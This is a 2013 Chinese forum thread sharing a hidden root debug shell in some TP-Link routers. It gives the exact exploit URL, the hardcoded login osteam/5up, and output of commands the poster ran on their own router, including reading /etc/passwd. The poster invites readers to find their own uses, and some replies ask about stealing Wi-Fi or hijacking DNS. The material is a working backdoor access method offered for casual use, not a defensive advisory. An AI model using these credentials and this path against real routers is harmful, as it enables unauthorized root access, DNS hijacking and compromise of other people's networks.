【干货】TP-LINK用户的福利之路由器shell

过客 · 发表于 2013-5-26 19:24:48

本帖最后由过客于 2013-5-26 19:26 编辑

TP-Link WDR740ND/WDR740N 路由器有一个隐藏的调试功能的shell，可以root权限，可能会被攻击者滥用。

固件版本：3.12.11 Build 111130 Rel.55312n and possibly others

exp url : http://IP/userRpmNatDebugRpm26525557/linux_cmdline.html

User: osteam Password: 5up

使用这个shell 攻击者可能会添加恶意的路由规则或更改配置文件。

==============以上是废话==============

过客的路由器是：TP-Link TL-WR941N
软件版本：3.11.7 Build 100723 Rel.46142n
硬件版本：WR941N v4/v5 00000000

开始测试：

cat /proc/cpuinfo&
827
# system type : Atheros AR7240 (Python)
processor : 0
cpu model : MIPS 24K V7.4
BogoMIPS : 265.21
wait instruction : yes
microsecond timers : yes
tlb_entries : 16
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented : mips16
VCED exceptions : not available
VCEI exceptions : not available
cat /etc/passwd&
828
# root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh
cat /proc/meminfo&
843
# MemTotal: 30676 kB
MemFree: 12876 kB
Buffers: 1836 kB
Cached: 6056 kB
SwapCached: 0 kB
Active: 6116 kB
Inactive: 3892 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 30676 kB
LowFree: 12876 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 0 kB
Writeback: 0 kB
Mapped: 4276 kB
Slab: 5436 kB
CommitLimit: 15336 kB
Committed_AS: 4324 kB
PageTables: 276 kB
VmallocTotal: 1048560 kB
VmallocUsed: 1944 kB
VmallocChunk: 1046464 kB
# ls /
bin etc linuxrc proc sbin usr web
dev lib mnt root tmp var
#

复制代码

至于利用这个东西能干啥……那就自己发挥吧，走了。

TL-WR941N.jpg (86.16 KB, 下载次数: 5)

a35253283 · 发表于 2013-5-26 19:25:22

额，好牛逼的样子

Zoplor · 发表于 2013-5-26 19:26:36

我不懂

bnb345 · 发表于 2013-5-26 19:31:23

哦。

wos1945 · 发表于 2013-5-26 19:34:32

不错。。。

恋爱ing · 发表于 2013-5-26 19:35:18

谢谢分享

东方星雨 · 发表于 2013-5-26 19:38:52

不懂，能蹭网不

link · 发表于 2013-5-26 19:41:26

不懂。。可以劫持DNS吗？

ybs885 · 发表于 2013-5-26 19:51:38

不错啊分享

莎士比亚 · 发表于 2013-5-26 20:02:23

学习了

		自动登录	找回密码
密码			注册

[疑问] 【干货】TP-LINK用户的福利之路由器shell

相关帖子